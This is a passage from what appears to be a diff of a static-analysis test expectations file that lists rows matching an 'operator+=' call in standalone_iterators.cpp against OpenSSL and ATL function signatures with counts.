(ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_clear_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_mask_bits | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_set_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | bn_expand2 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | bn_wexpand | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_find_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_init | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_retry_reason | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | BIO_set_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (BIO *,int) | | TXT_DB_read | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH *,int) | | DH_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH *,int) | | DH_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA *,int) | | DSA_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA *,int) | | DSA_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA *,int) | | RSA_clear_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA *,int) | | RSA_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_key_update | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_read_ahead | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_security_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL *,int) | | SSL_set_verify_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_CTX *,int) | | ssl_md | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509 *,int) | | X509_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509 *,int) | | X509_self_signed | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (acttab *,int) | | acttab_insert | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (char *,int) | | PEM_proc_type | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (char,int) | CStringT | CStringT | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIGNUM *,int) | | BN_get_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIO *,int) | | BIO_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const BIO *,int) | | BIO_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | DH_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | DH_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DH *,int) | | ossl_dh_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | DSA_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | DSA_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const DSA *,int) | | ossl_dsa_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | RSA_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | RSA_test_flags | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const RSA *,int) | | ossl_rsa_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL *,int) | | SSL_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const UI *,int) | | UI_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509 *,int) | | X509_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509 *,int) | | X509_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (const XCHAR *,int) | CStringT | CStringT | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (const YCHAR *,int) | CStringT | CStringT | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | DH_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | DSA_meth_new | 1 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | (const char *,int) | | Jim_StrDupLen | 1 | +| 